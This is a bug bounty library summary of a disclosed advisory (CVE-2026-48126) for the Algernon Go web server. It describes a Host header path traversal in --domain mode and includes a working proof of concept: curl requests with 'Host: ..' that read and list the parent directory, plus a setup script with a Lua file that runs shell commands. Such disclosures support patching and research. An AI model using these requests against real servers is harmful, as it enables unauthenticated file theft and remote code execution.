# Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir

Algernon in --domain mode joins the client Host header into the docroot path, so `Host: ..` escapes to the parent dir for file read, listing, and Lua RCE.

- Payout: Research
- Severity: high
- Program: Algernon
- Found by: fg0x0
- Disclosed: 2026-06-23
- CVE: CVE-2026-48126
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-jc3j-x6pg-4hmv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-jc3j-x6pg-4hmv
- Tags: area:web domain:web impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:go technique:chained technique:source-review vuln:host-header vuln:path-traversal vuln:rce

**Target:** Algernon HTTP server in --domain/--letsencrypt mode
**Root cause:** The request handler builds the served directory with filepath.Join(servedir, utils.GetDomain(req)), and GetDomain returns the raw Host header verbatim when net.SplitHostPort fails; URL2filename only sanitizes the URL path, never the dirname.
**Steps:**
1. Start server: `/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit`
2. Send `curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt` to read a file in the parent of --dir
3. Send `curl -H 'Host: ..' http://127.0.0.1:7799/` to list the parent directory
4. Place a `.lua` file in the parent and request it with `Host: ..` to trigger server-side Lua execution via run3()
**How found:** Code review of the --domain request path: noticed servedir is joined with the client-controlled Host header via filepath.Join with no validation, and that GetDomain returns req.Host verbatim on SplitHostPort failure; then tested `Host: ..` against a live instance.
**Exploitation:** Unauthenticated attacker sends one HTTP request with `Host: ..`; filepath.Join cleans the docroot to its parent, so FilePage serves arbitrary parent files, DirPage lists the parent, and any .lua file there is rendered server-side, executing shell commands as the algernon process user.
**Escalation:** Chains file read/listing into RCE when a .lua file exists in the parent, or when combined with any prior write primitive; --letsencrypt silently enables --domain, exposing production HTTPS deployments.
**Insight:** When a server derives a filesystem path from the Host header, try `Host: ..` — Go's parser allows dots in the host and SplitHostPort failure returns the raw value; also check flags that silently enable such modes (--letsencrypt enabling --domain).

## Proof of concept (copied exactly from the original report)

**curl requests with Host: .. for file read, listing, RCE**

```
# 1. Arbitrary file read
curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt
# -> TOP-SECRET FROM PARENT DIR

# 2. Parent directory listing
curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head
# -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ...

# 3. Server-side Lua execution (RCE)
curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua
```

**Setup script creating parent secret and pwn.lua**

```
WORK=$(mktemp -d)
mkdir -p $WORK/site
echo '<h1>public</h1>' > $WORK/site/index.html
echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt
cat > $WORK/pwn.lua <<'LUA'
print("=== RCE ===")
local out, err, code = run3("id; uname -a")
for _,v in ipairs(out) do print("  "..v) end
LUA
```

